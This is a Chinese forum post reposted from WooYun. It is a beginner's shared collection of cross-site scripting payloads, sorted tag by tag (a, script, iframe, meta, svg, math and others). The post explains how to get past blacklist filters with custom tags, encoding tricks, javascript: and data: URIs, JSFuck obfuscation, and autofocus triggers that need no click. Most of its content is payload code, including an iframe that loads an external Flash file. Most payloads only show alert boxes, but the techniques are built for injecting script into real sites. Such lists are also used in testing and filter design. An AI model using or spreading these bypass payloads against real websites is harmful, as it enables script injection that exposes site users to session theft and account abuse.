那些年我們沒能bypass的xss filter[from wooyun]
原文鏈接:http://zone.wooyun.org/content/6899
小弟初學xss才10天。不過個人很喜歡收集xss payload.在這裏把自己平時挖xss時會用到的payloads列出來和大家一起分享。很希望大家能把自己的一些payload也分享出來。(由於我是linux黨,所以本文出現在的所有payload只在firefox和chrome之下進行過測試。IE不在本文的討論範圍之內。本文只以直接輸出在HTML的情況為中心進行探討。)有錯誤的地方還請大家不吝賜教。
在XSS的世界裏,有很多標簽,事件,屬性都是可以拿來執行js的。但是又都有哪一些呢?
可以執行js的標簽:
<script> <a> <p> <img> <body> <button> <var> <div> <iframe> <object> <input> <select> <textarea> <keygen> <frameset> <embed> <svg> <math> <video> <audio>
所有的event都是可以執行js:
onload onunload onchange onsubmit onreset onselect onblur onfocus onabort onkeydown onkeypress onkeyup onclick ondbclick onmouseover onmousemove onmouseout onmouseup onforminput onformchange ondrag ondrop
可以執行js的屬性:
formaction action href xlink:href autofocus src content data
我們為什麽要去理解這些呢?因為很多網站的filter都是基於黑名單的,而因為自身對可以執行js的標簽,事件和屬性的不了解,會導致你繞不過這個filter或者饒一個很大的彎子(當然也會有很多放棄的例子)。也許你正在嘗試跳出的雙引號是不需要跳出去的。也許你正在嘗試跳出去的標簽也是不需要跳出去的。因為你已經站在了可以插入js的地方卻渾然不知。這也是寫本文最主要的原因。下面我將以問答的方式,對各個payload進行簡單的介紹。
我們真的需要一個合法的標簽麽?
<M/onclick="alert(1)">M
當目標站對關鍵tag做了黑名單過濾的時候,你也許可以嘗試一下自定義標簽。
標簽和屬性之間只能出現空格麽?
<img/src=x onerror=alert(1)>
在有些情況下我們可以使用"/"來代替空格
二十個字符真的是最短的?
<b/ondrag=alert()>M //其實19個字符是可以有的。請在IE下測試(wineIE8測試通過)
你真的了解【a標簽】麽?
你也許會告訴我,誰不知道啊!不就href裏面搞個javascript偽協議然後調用js不就完了。如果你真得這麽認為的話,那麽我覺得你已經完了。在href當中我們不僅僅可以使用javascript我們還可以使用data URI來調用我們的js代碼,像這樣:
<a href=javascript:alert(2)>M
<a href=data:text/html;base64,PHNjcmlwdD5hbGVydCgzKTwvc2NyaXB0Pg==>
可以看到第一個例子就是我們最常見的方法,通過javascript偽造協議來調用js了。而在第二個例子當中我們可以看到我們不但通過data協議來執行了javascript還對我們的payload進行了base64編碼。我們可以解碼看一下PHNjcmlwdD5hbGVydCgzKTwvc2NyaXB0Pg==究竟是什麽。解碼之後我們可以看到是<script>alert(3)</script>。聰明的人又會說了還整base64老子直接寫也能彈。如果目標站點對<script>進行了過濾,那麽也許你的payload就會死在半路上了。當然編碼方式還有很多比如urlencode,hex,demical和HTML實體編碼
<a href=data:text/html;%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%2829%29%3C%2F%73%63%72%69%70%74%3E>M <a href=javascript:alert(13)>M
當你在測試payload的時候你應該多細心善於了解filter真正的在過濾什麽。也許它只是把":"添加到了黑名單當中,來防止你來通過偽造協議執行js,而你卻認為整個javascript或data都被過濾了。在這種情況下你就可以考慮通過html實體編碼來bypass了.
<a href=javascript:confirm(2)>M
其實a標簽擁有的不止是href.在一些猥瑣的組合之下,我們可以用這種組合來讓xlink:href執行js.
<svg><a xlink:href="javascript:alert(14)"><rect width="1000" height="1000" fill="white"/></a></svg> <math><a xlink:href=javascript:alert(1)>M
【script標簽】之彈窗姿勢知多少
很多時候我們都會用<script>alert(1)</script>來測試XSS脆弱性。但是太過於規範的姿勢往往會死在半路上(因為有filter的嘛)。所以我們需要更多的姿勢,來判斷真正的過濾規則到底是什麽。相信我,程序員的安全水平都是參差不起的,過濾alert()的程序員我也碰到過。(此處省略3W字的吐槽)
<script>alert((+[][+[]]+[])[++[[]][+[]]]+([![]]+[])[++[++[[]][+[]]][+[]]]+([!![]]+[])[++[++[++[[]][+[]]][+[]]][+[]]]+([!![]]+[])[++[[]][+[]]]+([!![]]+[])[+[]])</script> /
/想玩這個,可以在這裏轉換你的編碼 http://www.jsfuck.com/
<script firefox>alert(1)</script> //其實我們並不需要一個規範的script標簽 <script>~‘\u0061‘ ; \u0074\u0068\u0072\u006F\u0077 ~ \u0074\u0068\u0069\u0073. \u0061\u006C\u0065\u0072\u0074(~‘\u0061‘)</script> // <script/src=data:text/j\u0061v\u0061script,\u0061%6C%65%72%74(/XSS/)></script>//在這裏我們依然可以使用那些編碼 <script>prompt(-[])</script> //不只是alert。prompt和confirm也可以彈窗 <script>alert(/3/)</script> //可以用"/"來代替單引號和雙引號 <script>alert(String.fromCharCode(49))</script> //我們還可以用char <script>alert(/7/.source)</script> // ".source"不會影響alert(7)的執行 <script>setTimeout(‘alert(1)‘,0)</script> //如果輸出是在setTimeout裏,我們依然可以直接執行alert(1)
【button標簽】
應該有一部分人對於button標簽的js調用還停留在通過event事件來實現。像下面的例子.
<button/onclick=alert(1) >M</button>
那麽如果所有的on*(event)被過濾了,我們就沒有辦法了麽?其實html5已經給我們帶來了新的姿勢
<form><button formaction=javascript:alert(1)>M
也許看到這裏就有人會吐槽,這種需要用戶交互的啊 bla,bla,bla..(幾個小時過去了)如果使用onfocus事件,再加上autofocus我們就可以達到自動彈窗,無須交互了。
<button onfocus=alert(1) autofocus>
【p標簽】
如果你發現變量輸出在了p標簽裏,先不要急著從標簽跳出去,因為只要你能跳出""就已經足夠了。
<p/onmouseover=javascript:alert(1); >M</p>
【img標簽】
img標簽沒有什麽好講的了。不過值得註意的是,有些姿勢是因瀏覽器不通而不能成功的執行的。所以在空閑時間對payload進行分類,做上可執行瀏覽器的註釋來提高你挖掘XSS的效率。
<img src=x onerror=alert(1)> <img src ?itworksonchrome?\/onerror = alert(1)> //只在chrome下有效 <img src=x onerror=window.open(‘http://google.com‘);> <img/src/onerror=alert(1)> //只在chrome下有效 <img src="x:kcf" onerror="alert(1)">
【body標簽】
沒有什麽特別之處,都是通過event來調用js
<body onload=alert(1)> <body onscroll=alert(1)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>
【var標簽】
<var onmouseover="prompt(1)">KCF</var>
【div標簽】
<div/onmouseover=‘alert(1)‘>X <div style="position:absolute;top:0;left:0;width:100%;height:100%" onclick="alert(52)">
【iframe標簽】
iframe這個例子當中值得一提的是,有時候我們可以通過實體編碼
&Tab(換行和tab字符)來bypass一些filter。我們還可以通過事先在swf文件中插入我們的xss code,然後通過src屬性來調用。不過關於flash值得一提的是,只有在crossdomain.xml文件中,allow-access-from domain=“*"允許從外部調用swf時,我們才可以通過flash來實現xss attack.
<iframe src=j
	a
		v
			a
				s
					c
						r
							i
								p
									t
										:a
											l
												e
													r
														t
															%28
																1
																	%29></iframe> <iframe src=j	a	v	a	s	c	r	i	p	t	:a	l	e	r	t	%28	1	%29></iframe> <iframe SRC="http://0x.lv/xss.swf"></iframe> <IFRAME SRC="javascript:alert(1);"></IFRAME> <iframe/onload=alert(53)></iframe>
【meta標簽】
很多時候,在做xss測試時,你會發現你的昵稱,文章標題跑到俄meta標簽裏。那麽你只需要跳出當前屬性再添加http-equiv="refresh",就可以構造一個有效的xss payload了。當然一些猥瑣流的玩法,會通過給http-equiv設置set-cookie來,進一步重新設置cookie來幹一些猥瑣的事情
<meta http-equiv="refresh" content="0;javascript:alert(1)"/>? <meta http-equiv="refresh" content="0; url=data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E">
【object標簽】
和a標簽的href屬性玩法是一樣的,不過優點是無須交互。
<object data=data:text/html;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4=></object>
【marquee標簽】
<marquee onstart="alert(‘sometext‘)"></marquee>
【isindex標簽】
第二個例子,值得我們註意一的是在一些只針對屬性做了過濾的webapp當中,action很可能就是漏網之魚。
<isindex type=image src=1 onerror=alert(1)> <isindex action=javascript:alert(1) type=image>
【input標簽】
沒有什麽特別之處,通過event來調用js。和之前的button的例子一樣通過 autofocus來達到無須交互即可彈窗的效果。在這裏使用到了onblur是希望大家學會舉一反三。
<input onfocus=javascript:alert(1) autofocus> <input onblur=javascript:alert(1) autofocus><input autofocus>
【select標簽】
<select onfocus=javascript:alert(1) autofocus>
【textarea標簽】
<textarea onfocus=javascript:alert(1) autofocus>
【keygen標簽】
<keygen onfocus=javascript:alert(1) autofocus>
【frameset標簽】
<FRAMESET><FRAME SRC="javascript:alert(1);"></FRAMESET> <frameset onload=alert(1)>
【embed標簽】
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4="></embed> //chrome <embed src=javascript:alert(1)> //firefox
【svg標簽】
<svg onload="javascript:alert(1)" xmlns="http://www.w3.org/2000/svg"></svg> <svg xmlns="http://www.w3.org/2000/svg"><g onload="javascript:alert(1)"></g></svg> //chrome有效
【math標簽】
<math href="javascript:javascript:alert(1)">CLICKME</math>
<math><y/xlink:href=javascript:alert(51)>test1
<math> <maction actiontype="statusline#http://wangnima.com"
xlink:href="javascript:alert(49)">CLICKME</maction> </math>
【video標簽】
<video><source onerror="alert(1)"> <video src=x onerror=alert(48)>
【audio標簽】
<audio src=x onerror=alert(47)>
姿勢的介紹就在這裏結束了。
說句題外話 在這些標簽裏面凡是出現在on*事件值裏面的javascript:都是多余的。但是這個對測試者來說是很方便的。因為你可以通過一個payload來測試好幾個黑名單成員
那些年我們沒能bypass的xss filter[from wooyun]